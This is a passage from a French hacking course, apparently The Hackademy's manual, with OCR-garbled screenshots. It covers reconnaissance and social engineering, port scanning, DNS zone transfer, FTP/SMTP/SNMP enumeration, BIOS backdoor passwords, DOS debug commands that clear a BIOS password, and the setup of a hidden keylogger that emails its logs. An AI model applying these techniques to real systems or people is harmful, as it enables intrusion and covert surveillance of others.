2. Sur les pages et les forums, pas d'autre solution, la encore, que de recourir aux moteurs de
recherche. L'utilisation d'un prestataire comme Google (http://www.google.com), semble toute
désignée.

3. Glanez aussi des informations autour de ses proches, en essayant de vous immiscer dans sa vie
privée ou dans ses contacts réguliers. Certes, ce n'est pas trés sympathique d'imaginer ce genre
de scénarios, surtout pour la victime potentielle, mais le fait est qu'avec de la patience et du
temps, le fruit de vos efforts peut s'avérer juteux.

4. Une méthode, simple, mais mal vue du monde des pirates reste le "Social Engineering". C'est
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bétement une technique qui consiste a se faire passer pour qui I'on est pas afin d'obtenir des
informations. Que ce soit par téléphone, par courrier, ou méme par des rencontres réelles, le but
du Social Engineer est de gratter chez sa victime, éprise de confiance, des informations
confidentielles, personnelles...

Une société :

Essayez d'obtenir, tout comme pour une personne, des informations au sein de la société. Les
informations que vous pourrez récolter sur une société ne vous serront pas forcément précieuses, quoi
que...

1. Sachant qu'une société a tendance a mener des campagnes publicitaires, et un affichage parfois
obligatoire sur Internet, réunir un grand nombre d'informations comme sur le statut juridique d'une
société, en allant du c6té de chez http://www.societe.com par exemple, reste simple.

2. Les informations les plus intéressantes que vous puissiez avoir concernent les employés au sein
méme de l'entreprise : noms, prénoms, roles au sein de I'entreprise, numéros de ligne directe... Il
n'est pas difficile d'avoir ces informations, et elles peuvent s'avérer juteuses. En effet, il s'est déja
vu des cas ou le nom et prénom de I'administrateur du réseau correspondaient aux logins et mots
de pass des acces aux routeurs - le nom et le prénom ayant été obtenus par un Whois sur le site
de l'entreprise concernée, au niveau des indications sur l'identité du responsable technique.

Aprés avoir récupéré un certain nombre de renseignements sur le systeme cible, il est temps de passer a
des opérations plus techniques, qui doivent étre effectuées sur le systéme, afin de pouvoir procéder par
la suite a I'élaboration d'une stratégie d'attaque.

B - Evaluation des caractéristiques du systéme :

Il faut avant tout préciser ce qu'on entend par "systeme". Au niveau de ce cours ne seront expliqués que
les procédés nécessaires a la réalisation d'attaques sur un systéme, et un seul. C'est a dire que I'on va
voir quelles stratégies et méthodes adoptent les pirates lorsqu'ils souhaitent s'attaquer a un systéme
précis, et non pas a I'ensemble d'un réseau (comme le réseau Internet d'une entreprise), soit a une
pluralité de systémes : les stratégies et procédés ne sont pas les mémes, et ce n'est pas la direction que
doit prendre le cours. Passé ce petit éclaircissement, abordons le premier et plus essentiel processus : le
"scan de ports".

1 - "Scan de ports" ou "la recherche d'applications serveurs actives" :

Rappelez-vous le début de ce cours. Une application serveur, c'est une application délivrant un service
précis sur la requéte d'un client, dans le cadre d'une configuration adaptée. Donc un serveur est
constamment en attente de connections, et pour ce faire il monopolise un port précis, entre 1 et 65535,
qui lui ouvre un canal de communication. C'est un peu schématique par rapport aux complexes données
techniques qui régissent le processus, mais I'essentiel est |a.

Scanner les ports va donc permettre a un pirate de repérer les applications serveurs actives. Chaque
port ouvert peut ainsi étre considéré comme un point d'entrée au systéme, une éventuelle source de
vulnérabilités.
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Effectuer un scan de ports est trés simple. Moults logiciels, tous I1égaux, hantent l'internet a cet effet.
Dans nos pratiques nous utiliserons Nautilus NetRanger, qui est trés efficace et trés rapide. Vous le
trouverez sur http://www.download.com, ou encore sur le site des développeurs
(http://www.nautidigital.com).

Ouvrez le logiciel.

Cliquez sur I'onglet PortScanner.

Dans la zone "Hostname/Address" indiquez une adresse IP ou un nom d'héte.

Dans la zone "Port range" indiquez une plage de port ou un port spécifique a vérifier. Une plage
de ports c'est un ensemble de ports compris dans une intervalle. Dans le cas de Nautilus, spécifier
une intervalle de port de type [3000 ; 6000] se fait selon la syntaxe suivante : "3000-6000". Vous
pouvez aussi n'indiquer qu'un seul numéro, cela reviendrait a ne vérifier qu'un seul port. Notez
toutefois quelques petites choses. Un bon scan se fait sur une intervalle de 1 a 65535, c'est-a-dire
sur l'intégralité des ports. En effet, il se peut que des applications serveurs se terrent dans des
ports éloignés. C'est aussi pourquoi nous vous déconseillons I'utilisation de I'option "Port list", qui
ne permet de vérifier que certains ports spécifiques.

PON =

Fing i TraceRoute i Lookup i Time i
MetStat | Connections | QoD | Maiki
Whols I Finger PartS canner i IFSzanher

Hostname/&ddrezss: iadresse IP ou nom d'hite j

" Port list: | _:J ﬁj

" Port range: Ila plage de port ou le port & scanner

[Farmat; 1,3, 5-100]

Threads; iEEI _j--_f-]

_g::_‘ T I Clear l

5. L'option Threads définit le nombre de requétes de scans de ports a envoyer en méme temps. Au
lieu de scanner les ports un par un, vous pouvez multiplier ainsi votre activité par plus de 30 fois !
Indiquez une valeur de 30 a 60 dans "Threads", qui est fonction de votre vitesse de connection.
Evitez de mettre une valeur trop grande, cela risquerait de faire bugguer I'application. De méme,
n'‘ouvrez pas deux fois Nautilus NetRanger, utilisez une, et une seule, session d'application. Sinon,
la aussi, le logiciel risquerait de patauger.

6. Lancez le scan, en cliquant sur "Go".
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Part | Service | Skatus
B 445 ACTIVE
0443 ACTIVE
®1 ACTIVE
@10 ACTIVE
B a0 ACTIVE
B 42 ACTIVE
iz ACTIVE
& ACTIVE
& ACTIVE
@1 ALCTIVE
L Tk ACTIVE
'j13 ACTIVE
;9 ACTIVE
N ACTIVE

7. Au niveau des résultats ne vous préoccupez pas de la couleur des pastilles. Seul les ports
indiqués comme actifs ("ACTIVE") nous intéressent.

La liste des ports indiqués comme actifs révele généralement la présence d'application serveurs actives
délivrant des services bien spécifiques. Afin de résoudre l'identité de ces serveurs et le service qu'ils
délivrent les pirates peuvent émettre des hypothéses sur les serveurs.

Relevé de banniéres :

Une fois que le pirate a scanné les ports il va ensuite tenter de récupérer le nom du serveur et sa version
associé au port sur lequel il écoute. On appelle cela le grab de banniére. Chaque protocole permet (ou
non) de récupérer sa banniére d'un certaine fagcon. La fagon la plus simple est de se connecter sur le
port en écoute en utilisant 'outil telnet. Telnet (Telecommunications Network) permet a une machine
client de se connecter sur un serveur, et ce, quelles que soient leurs localisations dans le monde, pour
peu que ces deux machines sont raccordées a I'Internet. Les clients telnet existent sur la quasi-totalité
des plates-formes (Windows, Unix, MacOS, BeOS...). Il permet la connexion TCP sur n'importe quel port
d’'un machine distante.

Il y a deux fagons d’utiliser correctement Telnet :

« En utilisant I'interface graphique
* En indiquant des options au programme au moment de le lancer

Pour la premiére solution, ouvrez telnet :

1. Cliquez sur “Démarrer”,

2. Puis sur “Executer”.

3. Tapez “telnet” et validez.

4. Cliquez sur “Connexion”, puis sur “Systéme distant”.

5. Dans la fenétre, indiquez un nom d’héte ou une adresse IP pour permettre la connection au
systéme distant. Entrez ensuite un numéro de port. Attention ! Pour les services les plus courants
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(SMTP, FTP, HTTP, etc.) vous pouvez entrer comme indication non pas le numéro de port mais le
service qu’il désigne. Par exemple, au lieu d’indiquer “80”, vous pouvez indiquer “HTTP”. Cette pratique
vous est déconseillée pour au moins les motifs qui suivants :

 Cela ne marche pas pour tous les services ;

» Vous pourrez étre amené a travailler sur un autre systéme ou cette fonctionnalité ne sera pas
présente ;

* Implicitement, vous n’apprendrez pas la désignation numérique des différents ports ;

Pour accéder plus rapidement a des connections distantes, préférez la deuxi€éme solution.

1. Cliquez sur Démarrer,

2. Puis cliquez sur Exécuter.

3. Tapez “telnet [IP] [PORT]’, ce qui donne pour le site dmpfrance.com, par exemple, “telnet
dmpfrance.com 80", ce qui vous connectera sur le service HTTP du site dmpfrance.com.

DNS : Domain Name Server

Tout domaine est associé a un serveur DNS, hébergé soit sur le réseau lui meme, soit en externe. Le
réle de ce service est de renvoyer a un client I'adresse IP associée a un nom d'hote. Le transfert de zone
permet de demander au serveur DNS de lister toute les entrées correspondantes a un domaine en
particulier. Cela est en général utilisé par les serveurs de noms secondaires, afin de mettre a jour leurs
entrées, sans que l'administrateur n'ai a le faire manuellement. Si I'on ne miuite pas la consultation de
ces entrées au seul serveur secondaire, un pirate peut lister les entrées d'un domaine. Le réseau sera
poura donc étre mappé, sans que l'intrus n'est a pinger indépendamment chaque machine. L'outils
nslookup present sur Winnt/2000/XP permet d'effectuer un transfert de zone sur un serveur DNS :

¥ seruer nsl. fr
Serueur pay durant = nsl.
Address:

N B |
[n=sl. frld
caplazepr.fr. S0A n=l. .fr technigue.
48780682 B6488 7288 24192868 1728808>
fr. [ nz=l. fr
o ME nz2.oleane.net
fr. ME nzd.oleane.net
i M= 18 mail.x
= EFr. 213.198.
admapc 213 .198.
apache 213 .178.
avrelay 213 .198.
citrix 213 .198.
compag.intervente .com
213._198.
213 .198_=
ftpueb.= = _
213.198_.7
127_8_8_1

ftpuweh

T tpuum
[rn)
localhozt

OO DD

FTP : Files Transfert Protocol

FTP est utile dés qu'il s’agit de transférer des données entre deux machines A et B. Comme pour tous
les services, la machine A doit étre équipée d’un client ftp, alors que la machine B est, elle, équipée d’'un
serveur FTP. Le protocole TCP utilise par convention le port TCP/21 pour les commandes, et le port
TCP/20 pour les données. Le port TCP/21 est appelé I'interpréteur de protocole (Protocol Interpreter ou
P1), alors que le port TCP/20 est appelé processus de transfert de données (data transfert process ou
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DTP).

Connectez-vous au service FTP visé, via le port 21. Regardez déja quelles informations vous délivre la
banniére, s’il y en a.

Recherchez éventuellement des informations sur le serveur mentionné. Puis tentez de vous connecter en
anonyme. Préférez votre navigateur pour cette tache. Internet Explorer vous permet de vous connecter
directement a un service FTP, par défaut en Anonyme.

Note : Une session “Anonyme” est une session gérée par I'administrateur qui permet a n'importe qui de
profiter du service FTP du serveur (pour le téléchargement de fichiers sur le serveur, par exemple).

Mais la configuration de certains services FTP, qui laissent la possibilité d’accés a des sessions
anonymes, est parfois désastreuse au point que certains sites laissent trainer I'accés au fichier “passwd”
(d’arborescence “/etc/passwd”, sous un systéme linux, ce fichier contient tous les logins actifs sur la
machine), ou encore l'arborescence compléte du site, voire méme des répertoires avec des acces
écriture (ou tout le monde peut envoyer des fichiers généralement).

Depuis Internet Explorer le “browsing” (un affichage) des répertoires révéle des répertoires typiques de
systémes de type UNIX. |l s’agit de vérifier si c’est véritablement le cas. Ouvrez une session FTP via
telnet et connectez-vous en Anonyme.

_ﬂ ftp:4/ftp. Z - Microsoft Internet Explorer

J Fichier Edition Affichage Favoris  Qutils 2
J < Précédente v = ~ E]| i@ Rechercher [ Dossiers  £% Historique | FElr g ﬂ|

J Adresse l@

lost+found other prosry

ftp. umasaans

serveur : ftp | Q L—] ’:l

Mom d'utilisateur : Anonymous

securant support

Hello, you are logged into
ftp.rsasecurity.com, Al login
activity is monitored. I you have
any problems using this site please
send  email

ftpadmin

Cliguez ici pour en savoir plus sur la
consultation des sites FTP,

Généralement, sous FTP, les commandes ne varient pas selon les serveurs. Ainsi, pour vous connecter
il vous faudra utiliser la syntaxe suivante :

1. USER Anonymous [pour rentrer en Anonyme]

2. PASS machin@chose.com [généralement, vous aurez a indiquer votre adresse e-mail comme
mot de passe]

Ensuite, vous vous retrouverez a l'aveugle, surtout si vous ne connaissez pas le systéme. Les

commandes qu’il vous est possible d’enregistrer sont généralement listables par la commande “help” ou
“I?”
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USER Anonymous
331 Guest login ok, send your complete e-mail address as password.

230-You are user #1 OF 50 simultaneous users allowed.
238-
230 Logged in anonymously.

help

214-The following commands are recognized (* => unimplemented, + => extension).
214 ABOR cup HMKD OPTS+ REIN SITE STRU=*

214— ACCT* DELE MLSD+ PASS REST SIZE SYST

214 ALLO* FEAT+ HMLST+ PASU  RETR  SHMNT* TYPE

214- APPE HELP MODE PORT RIMD STAT USER

214- cbup LIST NLST PWD RNFR STOR

214 CLNT+ HMDTM NOOP QuIT RNTO STOU

214-
214 Send comments to ovh@ovh.net.
MLST

250- Begln

256 End.

FEAT

211-Extensions supported:

CLNT

MDTH

MLST typex;sizex;modify*;UNIX.modex;UNIX.owner ;UNIX.uid;UNIX.group;UNIX.gid;uni
que

PASU

REST STREAM

SIZE

TUFS

Compliance Level: 19981201 (IETF mlst-85)
211 End.

Sur 'exemple ci-dessous, les commandes du service FTP ont été utilisées (sur un autre systéme) pour
mettre en lumiére le type de systéme d’exploitation utilisé. Ici, les informations délivrées sont d’'une
importance mineure. Ceci dit, certains systéemes vont jusqu’a révéler la version du systéme d’exploitation,
ce qui est manifestement plus grave.

SMTP : Simple Mail Transfert Protocol

Le protocole SMTP est certainement un des protocoles le plus utilisé sur I'internet. Son but est de
permettre le transfert des courriers électroniques. Il est similaire au protocole FTP, de part son langage
de commande. Il est généralement implémenté sur le port TCP/25.

Comme pour tous les autres services, un service SMTP peut révéler, par sa banniére, des informations.
Mais le plus intéressant, c’est I'intégration, non nécessaire, de deux commandes spécifiques au service
SMTP. Ces deux commandes sont “vrfy” et “expn”. Pour vérifier si elles sont accessibles, tapez “help”.

* Vrfy : cette commande a pour but de vérifier si une adresse e-mail existe a 'adresse du serveur
questionné. Ce qui veut dire que si vous vous connectez a un systéme d’adresse “betetruc.com”, que
vous tapez “vrfy admin”, et que le systéme vous répond positivement, c’est qu'il existe une adresse
“admin@betetruc.com”, et donc certainement un compte de login “admin” sur le systéme. Il est donc
possible de récupérer des logins sur le systeme concerné.

* Expn : cette commande permet de vérifier I'existence d’alias au sein d’'un systéme pour un compte
donné. Un alias permet a une personne physique d’avoir plusieurs adresses e-mails. Cela peut étre une
bonne source d’informations.

Dans I'exemple ci-dessous, le pirate a réussi a avoir des informations sur I'identité d’'une personne, et sur

les alias tournant pour “root” (certainement des adresses correspondant a d’autres administrateurs
systémes).
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: {idhnexion Edition Teminal 3

220 y.LL. id. 4 ESMTP sendmail 8.9.378.9.3/FDN; Thu, 31 Jan 2082 91:52:29 +9100<«
help

214-This is Sendmail version 8.9.3

214-Topics:

214- HELO EHLO MAIL RCPT DATA

214— RSET NOOP Quir HELP URFY

214~ EXPN UERB ETRN DSN

214-For more info use "HELP <topic>".

214-To report bugs in the implementation send email to
214 sendmail-bugs@sendmail.org.

214-For local information send email to Postmaster at your site.
214 End of HELP info

urfy root

258 <root@jab .fr>

expn root

250-<antoine@or Fr>

25 8-<xavier@bab LFr>

258-<pj@gizno Fr>

258-<lulu@ro Fr>

250 <bureaule fr>

urfy antoine
2C8 Antoine Hulin <anteine@ja Frd

HTTP : Hyper Text Transfert Protocol

Pour vous connecter a un systeme via HTTP, utilisez le port 80. Apres quoi, il vous est possible
d’envoyer différentes commandes au systéme, celles-ci pouvant avoir des conséquences différentes. Le
procédé consiste a envoyer d’abord une commande valide, puis a rappuyer sur ENTER afin de renvoyer
une validation.

Prenons un exemple concret :

1. Connectez-vous sur www.microsoft.com (telnet www.microsoft.com 80)

2. Entrez comme commande : OPTIONS / HTTP/1.0

3. Validez en appuyant sur ENTER, et revalidez a nouveau.

4. Les informations contenues dans P3P (“Platform for Privacy Preferences”) désignent les
informations collectées sur les utilisateurs. Référez-vous a http://www.w3.org/TR/P3P/ pour en savoir
plus sur le systéeme P3P.

C:xDocuments and Settings~CrashFrinc
OPTIONS .~ HTTP-1.8

HTTF~-1.1 288 0K
Date: Thu, 16 Sep 28684 15:84:3% GMT
Server: Apachers1_.3.29 (Unix> PHP-4_.2_.3

Content—Length: @

Allow: GET,. HEAD. POST,. PUT,. DELETE,. COWNMECT,. OPTIONE. PATCH,. PROPFIND,. PROPPATC
H., MEKCOL,. COPY. MOUE. LOCK, UMLOCK,. TRACE

Connection: close

n—Pad: avoid browser bug

Il est aussi possible d’utiliser la commande GET et OPTIONS sur un méme serveur, ceci permettant de
révéler un certain nombre d’informations intéressantes de fagon complémentaire.

Note concernant HTTP : autant un serveur HTTP tel que IS est soumis a de nombreuses failles, autant
sur Apache, le nombre de failles est quasi-inexistant. Apache est une application serveur pour différents
systémes d’exploitations, y compris Windows. Il est entiérement gratuit et a forte tendance a
concurrencer le serveur IIS en raison de sa qualité et de sa fiabilité. 1l s’octroie d’ailleurs une plus grande
part de marché que ce dernier. Mais ne vous fiez pas a ce modéle de sécurité : des erreurs de
configuration inhérentes a la distraction de I'administrateur peuvent avoir de lourdes conséquences.
Apache.org en a fait les frais en 99.
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SNMP : Simple Network Management Protocol

SNMP est un protocole de gestion d’équipement réseau qui permet a I'administrateur d’interroger ses
équipements afin d’en récupérer des informations. Dans notre exemple, nous avons trouvé quatre
équipements sur notre réseau qui figuraient dans le community string “public”, c’est-a-dire que n’importe
qui peut avoir acces aux informations que les équipements renvoient.

=t 100190 [ 190 A———_—— | (icless Access Point)
=L @ 00.235 [ Aiport57 ] (Wireless Access Point)
(=) [/ ——100.243 [ NPI422E20 ] (HP Jet-Direct Print Server)
= SNMP [system)
: - [4 sysDescr: HP ETHERNET MULTI-ENVIRONMENT ROM G.07.02,JETDIRECT JD30,EEPROM
- [ sysUpTime : 2 days, 12 howrs, 14 minutes, 43 seconds
e [F sysMame : NPI422E20
- [ ObjectID : 1.3.6.1.4.1.11.2.3.9.1 (HP Jet-Direct Print Server)
/‘ Vendor : Hewlett Packard
E] @ Open Ports (4)
- © 23 Telnet => Remote Login Protocol ]
F-- © 80 [ Http => World Wide Web, HTTP ]
- @ 515 printer => Printer Spooler |
----- © 9100 [ JetDirect => HP Jetdirect PrintServer ]
B ":H: _1 00.245 [ e245. SRENEG_— | (Farallon - Netopia R9100)
El SNMP [syslem]
----- = §
& sysUpTlme Bhours 15 mlnules 20 seconds
- [£ Object 1D : 1.3.6.1.4.1.304.2.2.18 (Farallon - Netopia R9100)
: Ay Vendor : Farallon Computing, Inc.
E] ﬁ Open Ports (2)
- © 23[ Telnet => Remote Login Protocol |
8 80 [ Http => World Wide Web, HTTP | Allegro-Software-RomPager/2.10

Vous pouvez trouver sur internet des outils qui permettent d’automatiser les requétes.
http://www.solarwinds.net/

Note : le community string “public” est, généralement, la valeur par défaut attribuée a une machine
faisant tourner un agent SNMP. C’est a 'administrateur d’en modifier la configuration. Le contraire d’'un
string public est le string “private”, qui, lui, n’autorise a ne délivrer aucune information au grand public.

TELNET : Telecommunation Network

Pas de miracle pour Telnet. Ce service est généralement restreint par une identification obligatoire par
login et mot de passe. La banniére qu’affiche le systéme peut en revanche étre utile. Utilisez telnet pour
vous connecter. Par défaut, vous vous connectez sur le port 23, donc, il n’est pas nécessaire de spécifier
de port.

Connexion Edition  Terminal 2

Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.17 on an i686
login: |}

Dans notre exemple, la version compléete du systéme d’exploitation est dévoilée. Mais, et c’est tout aussi
grave, la version du noyau (Kernel 2.2.17) I'est aussi. Avec de telles informations, ce type de systéme
risque de ne pas tenir deux secondes face a un pirate de niveau moyen.
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Si le pirate a récupéré un nom de serveur et sa version, il va ensuite essayer de rechercher une
vulnérabilité lui permettant soit de récupérer d'autres informations, soit de faire planter le service ou au
mieux de faire executer du code au serveur. Ces failles font parties des failles applicatives. Il existe sur
Internet des sites publiant les diverses failles trouvées par la communautée White Hat lors d'audit de
code. Certaines failles seront accompagnées de ce que I'on appel « exploit », d'autres non. Une faille
designe une erreure dans un morceau de code d'une application. Un exploit est un morceau de code
permettant d'exploiter cette faille, la plus part du temps pour faire executer une commande de notre
choix. Donc une faille publiée n'est pas forcement accompagnées de I'exploit, car une personne peut
tres bien etre capable de rechercher des failles mais incapable de coder un exploit et inversement ou
tout simplement qu'une faille ne necessite pas d'exploit pour etre exploité mais juste d'une url envoyé
par un navigateur par exemple. Pour illustrer cette explication nous allons prendre comme exemple le
serveur Apache version 2.0 et nous allons effectuer une recherche sur www.securityfocus.com qui est
le plus gros site modial de publication de failles. Je vous conseil d'ailleurs de vous incrire a la mailing
liste BUGTRAQ qui vous avertira par mail des derniéres vulnérabilités trouvées par la communautée
White Hat. Voici par exemple une des vulnérabiltés trouvé sur Apache version 2.0 :
http://www.securityfocus.com/bid/5434

Chaque vulnérabilité est associée a un ID, ici 5434 et est décomposé en plusieurs parties :

VYULMNERABILITIES

Apache 2.0 Encoded Backslash Directory Traversal VYulnerability

| info | discussion  exploit solution credit help

bugtrag id 5434

ohject

class Input Validation Errar
Cve CAM-200Z-0651
rermote fes

local Mo

published Sug 09, 2002
updated &ug 16, 2002

vulnerable &pache Software Foundation Apache 2.0
Spache Software Foundation Apache 2.0.28 Beta
Spache Software Foundation Apache 2.0.28

La partie « info » vous indiquera entre autres si la faille est exploitable a distance ou en local, la date de
publication de la faille, les différents systémes vulnérables, etc...

La partie « discussion » expliquant la faille en détail.
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La partie « exploit » contient I'exploit s'il a été développé et si un exploit est nécessaire pour exploiter la
faille. Comme vous pouvez le voir dans notre exemple, un exploit n'est pas nécessaire, il suffit de
mettre une URL précise dans un navigateur.

La partie « discussion » contient un patch ou la méthode a appliquer pour boucher la faille si une
solution a éte trouvée.

La partie « credit » contient I'email, site, contact de la personne ayant découvert la faille.
La partie « help » contient une aide a propos des termes utilisés par bugtraq pour classifier les failles.

Dans le cas ou aucune faille n'a été publiée sur le web, le pirate tentera d'auditer lui méme le code du
serveur a la recherche d'une nouvelle faille.
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C'est le circuit intégré rectangulaire (EEPROM) qui se
trouve sous la pile plate. La plus part du temps il y a un
autocollant réfléchissant dessus avec la références du
composant.

Le BIOS contient toute la configuration matérielle permettant de démarrer votre ordinateur correctement
(ex: détection disque dur, de la RAM, des divers lecteurs, etc...). Sur certains BIOS, il est possible
d'affecter un mot de passe pour protéger I'accés a votre systéme d'exploitation (User Password) ou a la
configuration du BIOS (Supervisor Password). Sur le plupart des ordinateurs il faut appuyer sur le bouton
"F1", "F2", "Suppr", ou "CTRL+ALT+S" de votre clavier lors du démarrage de votre PC pour accéder a la
configuration du BIOS (Setup Bios).

Il existe plusieurs méthodes pour cracker un mot de passe BIOS. Mais avant tout le pirate va essayer de
le deviner en utilisant des mots de passe communs comme 1234, 0000, password, pass, sex, argent, les
pass par défaut de divers systemes ou méme des fois rien.

1.Premiere méthode.

Elle consiste a utiliser les mots de passe du constructeur, ces pass sont en faite des backdoor mais tous
les BIOS n'en on pas.

Pass Award BIOS:

AWARD SW, AWARD_SW, Award SW, AWARD PW, award, awkward, J64, j256, j262, j332, j322,
01322222, 589589, 589721, 595595, 598598, SER, SKY_FOX, alLLy, aLLY, Condo, CONCAT, TTPTHA,
aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet

Pass AMI BIOS:
AMI, A.M.1., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder

Pass pour les autres BIOS:
LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wod;j
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2.Deuxiéme méthode.

Si vous avez acces au systéme d'exploitation mais vous n'avez pas accés au Setup Bios... En utilisant
une disquette de démarrage (ou en redémarrant win9x en mode ms-dos) pour accéder au DOS en mode
réel, on va pouvoir utiliser la command debug pour enlever le pass d'acces a la configuration du BIOS
(Setup).

- Appelle le programme "c:\DOS\debug" ou "c:\Windows\command\debug". En 2 mots, ce prog avec le
paramétre -O (Output) permet de transmettre directement un octet a un port de sortie dont I'adresse suit
et

Q permet de quitter le programme. Inutile de préciser qu'il est assez dangereux a utiliser.

Pour les BIOS AMI/AWARD :

"chemin"/debug
-07017
-07117

-Q

Pour les BIOS Phoénix :

"chemin"/debug
-O70 FF
-07117

-Q

Généric :
"chemin"/debug
-0 70 2E
-O71FF

-Q

Il ne vous reste plus qu'a reboot votre ordinateur...
Il existe aussi divers petits softs qui permettent de voir et enlever votre pass BIOS(pass d'acces a la

configuration du bios) a partir du DOS. Voici bios320.exe qui est disponible en téléchargement sur
http://www.11a.nu et qui permet de cracker la plupart des BIOS existant :
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DOCUME~1%CrashFri MESDOC~14BI0S320.EXE

i ‘I:'BIOS 3.28 <build 23333813)}

System: FPPro Docs AMI American Megatrends Inc
EataBus: ISA-PCI —l |— Crackers —l |— Avard —l |tt:]u-ee crackers) —l
ME-DOS: 5.8 | Backup DIK
L J Blasters IBM

Advanced Phoenix 1

Source Phoenix 2
Quit Strings
Screen Saver

Junkinfo J I_ J I_

= [http://l-n-n-:.lla.nu/ o hluef:i.shl'_‘st-:ipnet.se:|~-

3.Troisiéme méthode.
Enlevez la pile plate qui se trouve sur votre carte mére (en effet cette pile permet de sauvegarder

certains parameétres du Bics comme I'heure et le mot de pass). Il faut attendre, environ 15 a 30 minutes
mais des fois une journée entiére sera exigé pour que la mémoire se vide.

Ci-contre la pile plate en question....

Lorsque I'on remettra la pile en place, tous les parameétre par défauts seront restaurés, donc plus de mot
de pass Bios. Attention : Généralement, la pile est scellé. Donc si vous enlevez la pile, votre garantie
sera perdue.

4.quatrieme méthode.

Sur certaines carte mére il est possible de reset le pass BIOS en changeant de position d'un cavalier (en
général le cavalier en question se trouve a coté du Cl BIOS). Référez vous au manuel de votre carte
mére pour plus d'informations. Dés que vous avez trouvé le cavalier il suffit de changer sa position et
d'attendre quelques secondes. Ensuite, remettez le cavalier a sa position initiale et relancez votre
machine.

The Hackademy DMP -39/99- SYSDREAM



@ The HACKADEMY SCHOOL —_,

== 100% white hat hacking

5.Cinquieme méthode.

Elle consiste a court circuité 2 pattes du Cl Bios a I'aide d'un strap. Pour cela il faut avoir la doc
constructeur du Cl qui nous permettra de savoir a quoi correspond chaque patte. |l faut faire tres
attention car un mauvais court circuit peut endommager votre Cl et le remplacement sera inévitable.

6.Sixieme méthode.

Si aucune de ces méthodes ne fonctionne, il faut reprogrammer le BIOS. Pour cela il faut démonter le
BIOS, avoir un programmateur d' EEPROM (on peut trouver cela dans tous les magasins d'électronique)
et surtout I'image de votre BIOS (fichier binaire contenant le BIOS). Pour trouver I'image de votre BIOS il
faudra faire un tour sur le site du fabriquant. Flasher un BIOS consiste a le reprogrammer. |l faut faire
trés attention avec le Flashing BIOS car il peut endommager votre EEPROM ou votre carte mére. La
connaissance des bases d'électronique est conseillé. On peut aussi flasher le bios a partir d'une
disquette de démarrage mais dans ce cas vous devez avoir acces au lecteur de disquette et utiliser un
petit soft comme aflash (sans oublier I'i'mage du nouveau bios).
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pionhac

1 - Keylogging

Le Keylogger (traduction littérale : "enregistreur de clefs") est un dispositif en apparence simple, dont le
concept est de se placer, a un niveau logiciel, entre I'utilisateur et le traitement des données qu'il effectue
par le clavier. En clair cela veut dire que tout traitement, toute frappe, fait au clavier sera enregistré par le
logiciel et stocké sous forme d'un fichier consultable par la suite. Ainsi le Keylogger s'avére étre un
systéme de surveillance fiable qui permet d'enregistrer de nombreuses choses comme des saisies de
mots de passes, des saisies d'adresses, de rédactions de textes, etc. Pratiquer le Keylogging n'est pas
une chose illégale en soi a condition qu'il soit effectué sur votre machine, ou, si ¢a n'est pas le cas, que
la personne qui est surveillée ne le soit pas a son insu.

La plupart des Keyloggers sont invisibles. C'est a dire qu'ils fonctionnent en arriere plan de toutes les
applications Windows, de facon cachée, et qu'un utilisateur non averti ne s'apercevra nullement de la
présence d'un tel outil d'espionnage.

Il existe foule d'applications de ce type, plus ou moins performantes, et dont le prix varie du "tout gratuit"
au "tout payant" en passant par les versions d'évaluations et les sharewares.

Nous ne saurions trop vous recommender de tester en premier lieu les versions gratuites afin de trouver
chaussure a votre pied. Faites par exemple un petit tour sur www.download.com en tapant comme mot
clef pour votre recherche "keyloggers".

Avant de vous en présenter quelques uns, sachez qu'un bon keylogger, qui est parfaitement invisible, ne
doit :

manifester sa présence a aucun moment que ce soit ;
étre visible ni depuis la barre des taches ni depuis le gestionnaire d'applications
(CTRL+ALT+DEL).

Pour illustrer le propos, prenons un trées bon exemple : iOpus STARR PC.
a - Installation

L'installation ne devrait poser aucun probléme, méme au moins initié. Sur la fenétre de sélection de la
zone d'enregistrement des "fichiers de log" (comprenez les fichiers ou sont stockées les informations
qu'a enregistré le logiciel), vous avez trois possibilités :

Garder les logs sur I'ordinateur ou est installé le logiciel (par défaut, nous I'avons installé avec
cette option). Si l'installation se fait avec cette option cela veut dire que vous étes obligés d'avoir
un acceés a la machine ou STARR est installé.

D'enregistrer les fichiers de log sur un autre ordinateur du réseau local, sur un répertoire en
partage.

D'envoyer, par e-mail (et discretement, cela s'entend) les fichiers de log.

A la fin de l'installation, le logiciel s'ouvre vous présentant sa fenétre de gestion. Parmi les différents
onglets a disposition seuls "Dashboard" et "Monitoring" sont susceptibles de nous intéresser. Le logiciel
est entierement en anglais mais n'en reste pas moins trés facile d'utilisation.
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f‘ Where do you want to store the recorded achvities: !EE
"where do pou want to store the recorded activities ?
" ik eep everpthing an this PC
STAR R ™ Perndically save STARF epoits to a NETWORE dive
PC & Internet
Monitoring I'x"-..':drnu'n;t!atus pekitan Browse | Test |
l.lm " Perindically zend the STARR Repart via EMAIL
Send the report e Ill Haours |00 b
Imm.m and ztart new file after the report was successiully sent;
Send to: l'.":II_IH Epa|La-HERE- COM
Mote: You can customize the zettings further after the installation
uzing the “Advanced Installation'! feature onthe SETTIMGS and
the EMAIL # MET'WORE tabstrip in the 5TARR Commander.

< Préceédent I [ &t I Cancel

b - Utilisation

=1o ]

D ashboard |Mn:nnitn:nringi Settings | Email / Network | Activate | baut |

~ 5TARR Logaing Enaine i~ Logfile Autozender Test——;

3 STaRRA
@ | stopped 3 | o | X i
Start Stop Reset Send now I

- 5TARR Report

Fepart |40 pus Starsreport.him Browse
ﬂl - B 2 _Browse |

[T Skip events with a duration less than I..' zeconds

ml Select Report Format:

&+ Interactive Format [HTML]
_EI " Spreadshest [Excel...]

™ Plain text 2 View Repart
€ Faw format [STARR log)

1. Create Repart from STARR log

—Exit 5TARR Commander

[elete STARR log T
ﬂ L and Feport or exit il

Le lancement d'une session de capture d'informations s'effectue par la touche "Start". Vous pouvez
spécifier I'endroit ou vous désirez placer le fichier de log, et aussi le format sous lequel vous désirez
I'enregistrer, le format par défaut étant HTML. Nous vous conseillons de garder un format des fichiers de
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log en HTML, cette option permettant une lecture pratique et esthétique de I'activité enregistrée de
l'ordinateur.

| £ i0pus STARR PC & Intemet Moniter " ol

Dashboard  Monitorng I Settingsi Email / Netwarki .-’-'-.n:tivatel Bbout i

—izual Manitaring

M W Take Screenshot picture eveny IE miutes Screenshaot Settings |
